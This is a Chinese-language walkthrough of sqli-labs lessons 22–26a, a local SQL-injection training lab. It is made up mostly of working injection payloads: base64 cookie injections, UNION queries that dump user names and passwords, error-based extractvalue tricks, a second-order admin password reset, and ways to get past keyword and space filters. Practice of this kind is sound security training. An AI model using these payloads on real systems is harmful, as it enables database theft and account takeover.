document.cookie="uname=MScpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IEBAdmVyc2lvbiksMHg3ZSkpICM=\n"
document.cookie="uname=MScpIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IHVzZXJuYW1lIGZyb20gdXNlcnMgbGltaXQgNywxKSwweDdlKSkgIw=="
less-22
- 跟上关差不多一样,cookie闭合符从')变成了"
>>> "1\" and extractvalue(1,concat(0x7e,(select @@version),0x7e)) #".encode('base64')
'MSIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgQEB2ZXJzaW9uKSwweDdl\nKSkgIw==\n'
document.cookie="uname=MSIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgQEB2ZXJzaW9uKSwweDdlKSkgIw==\n"
>>> "1\" and extractvalue(1,concat(0x7e,(select username from users limit 7,1),0x7e)) #".encode('base64')
'MSIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgdXNlcm5hbWUgZnJvbSB1\nc2VycyBsaW1pdCA3LDEpLDB4N2UpKSAj\n'
document.cookie="uname=MSIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgdXNlcm5hbWUgZnJvbSB1c2VycyBsaW1pdCA3LDEpLDB4N2UpKSAj\n"
image.png
less-23
- 跟第一关一样的get注入,但是这里过滤了#,--+注释符,但是我们可以用or '1' = '1来闭合,首先看我们的注入点是否正确
#报错
http://localhost/sqli-labs-7.2/Less-23/?id=1'
#正常登陆
http://localhost/sqli-labs-7.2/Less-23/?id=1' and '1' = '1
#不正常登陆
http://localhost/sqli-labs-7.2/Less-23/?id=1' and '1' = '2
#爆数据库名
http://localhost/sqli-labs-7.2/Less-23/?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),'3
#爆数据表名
http://localhost/sqli-labs-7.2/Less-23/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),'3
#爆数据段
http://localhost/sqli-labs-7.2/Less-23/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 'users'),'3
#爆数据
http://localhost/sqli-labs-7.2/Less-23/?id=-1' union select 1,(select group_concat(username) from users),'3
http://localhost/sqli-labs-7.2/Less-23/?id=-1' union select 1,(select group_concat(password) from users),'3
- 或者还可以用报错布尔盲注
http://localhost/sqli-labs-7.2/Less-23/?id=-1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1' = '1
less-24
- 二次注入,先注册一个admin'#的账户然后再修改密码,这时候就会执行
UPDATE users SET PASSWORD='123' where username='admin' #' and password='$curr_pass'
- 进而修改我们的admin账户密码,然后成功登陆
less-25
- 对and,or进行了过滤,这里使用||来绕过
如何绕过or和and过滤。常见思路:
1.大小写变形 Or,OR,oR
2.编码,hex,urlencode
3.添加注释/*or*/
4.利用符号 and=&& or=||
#使用报错注入
http://localhost/sqli-labs-7.2/Less-25/index.php?id=1' || extractvalue(1,concat(0x7e,(select @@version),0x7e)) %23
#使用联合查询
http://localhost/sqli-labs-7.2/Less-25/?id=-1' UNION select 1,@@basedir,3 %23
less-25a
- 跟上关差不多,但是没有报错信息了,所以只能用联合查询或者延时注入,而且这里没有闭合符
http://localhost/sqli-labs-7.2/Less-25a/?id=-1 UNION select 1,@@basedir,3 %23
less-26
- 过滤了空格,or,and以及一些注释符号
- 对于空格一般可以用以下绕过,但是这里是mac环境转换不了,所以只能用报错注入了
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
#使用报错注入
http://localhost/sqli-labs-7.2/Less-26/index.php?id=1'/**/||extractvalue(1,concat(0x7e,(select(group_concat((username)))from(users)),0x7e))||'1'='1
less-26a
- 跟上关也差不多,改了闭合符,然后不显示报错信息了,用布尔盲注来做,当中间的判断条件不符合为0时,我们的查询语句就会变成select * from users where id=0即返回空表,当判断条件符合时为1,查询语句变成select * from users where id=1即返回id=1的结果
#即可以通过返回的结果来判断条件是否成立
http://localhost/sqli-labs-7.2/Less-26a?id=1'=(left(database(),1)='s')='1
- 条件成立时回显
http://localhost/sqli-labs-7.2/Less-26a?id=1'=(left(database(),1)='a')='1
- 条件不成立时回显
网友评论